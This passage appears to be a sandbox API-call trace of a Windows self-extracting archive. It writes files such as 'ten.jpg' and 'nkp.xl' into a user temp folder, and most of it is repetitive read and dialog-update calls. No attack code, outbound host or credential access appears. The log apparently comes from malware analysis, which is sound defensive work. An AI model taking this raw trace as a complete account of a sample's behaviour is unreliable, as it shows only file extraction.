nNumberOfBytesToWrite=0x20f, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x20f, lpOverlapped=0x0) returned 1 [0068.359] GetTickCount () returned 0x1fb4e [0068.359] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.359] SetFilePointer (in: hFile=0x1c, lDistanceToMove=869751, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd4577 [0068.359] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.359] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.359] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.359] CloseHandle (hObject=0x138) returned 1 [0068.359] SetFileAttributesA (lpFileName="ten.jpg", dwFileAttributes=0x20) returned 1 [0068.359] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd4577 [0068.360] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.360] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x24, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x24, lpOverlapped=0x0) returned 1 [0068.360] OemToCharA (in: pSrc="nkp.xl", pDst=0x179cc0 | out: pDst="nkp.xl") returned 1 [0068.360] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="nkp.xl", cchCount2=1) returned 1 [0068.360] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="nkp.xl", cchCount2=6) returned 1 [0068.360] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="nkp.xl", cchCount2=-1) returned 1 [0068.360] SetFilePointer (in: hFile=0x1c, lDistanceToMove=869794, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd45a2 [0068.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="nkp.xl") returned 7 [0068.360] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4196b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.360] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting nkp.xl") returned 17 [0068.360] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting nkp.xl") returned 1 [0068.360] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.360] OemToCharBuffA (in: lpszSrc="n", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="n") returned 1 [0068.360] CharToOemBuffA (in: lpszSrc="N", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="N") returned 1 [0068.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="nkp.xl") returned 7 [0068.360] FindFirstFileW (in: lpFileName="nkp.xl", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.361] GetLastError () returned 0x2 [0068.361] GetFileAttributesA (lpFileName="nkp.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nkp.xl")) returned 0xffffffff [0068.361] CreateFileA (lpFileName="nkp.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nkp.xl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.385] GetFileType (hFile=0x138) returned 0x1 [0068.385] SetFilePointer (in: hFile=0x138, lDistanceToMove=518, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x206 [0068.385] SetEndOfFile (hFile=0x138) returned 1 [0068.385] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.385] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1ad, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1ad, lpOverlapped=0x0) returned 1 [0068.385] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.385] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.385] GetTickCount () returned 0x1fb6e [0068.385] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.385] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.385] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.385] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.385] GetTickCount () returned 0x1fb6e [0068.385] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.386] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.386] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.386] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.386] GetTickCount () returned 0x1fb6e [0068.386] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.386] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.386] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.386] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.386] GetTickCount () returned 0x1fb6e [0068.386] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.386] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.386] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.386] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.386] GetTickCount () returned 0x1fb6e [0068.386] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.386] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.386] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.386] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.386] GetTickCount () returned 0x1fb6e [0068.386] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.386] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.386] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.386] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.386] GetTickCount () returned 0x1fb6e [0068.386] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.386] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.386] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.386] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.386] GetTickCount () returned 0x1fb6e [0068.386] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.386] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.386] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.386] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.386] GetTickCount () returned 0x1fb6e [0068.386] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.386] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.386] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.386] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.386] GetTickCount () returned 0x1fb6e [0068.387] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.387] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.387] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.387] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.387] GetTickCount () returned 0x1fb6e [0068.387] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.387] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.387] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.387] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.387] GetTickCount () returned 0x1fb6e [0068.387] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.387] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.387] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.387] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.387] GetTickCount () returned 0x1fb6e [0068.387] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.387] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.387] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.387] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.387] GetTickCount () returned 0x1fb6e [0068.387] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.387] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.387] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.387] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.387] GetTickCount () returned 0x1fb6e [0068.387] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.387] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.387] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.387] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.387] GetTickCount () returned 0x1fb6e [0068.387] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.387] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.387] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.387] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.387] GetTickCount () returned 0x1fb6e [0068.387] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.387] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.387] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.387] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.387] GetTickCount () returned 0x1fb6e [0068.387] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.387] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.387] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.387] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.388] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.388] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.388] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.388] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.388] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.388] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.388] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.388] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.388] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.388] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.388] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.388] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.388] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.388] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.388] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.388] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.388] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.388] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.388] GetTickCount () returned 0x1fb6e [0068.388] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.388] ReadFile (in: hFile=0x1c, lpBuffer=0x270435, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270435*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.389] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.389] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.389] GetTickCount () returned 0x1fb6e [0068.389] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 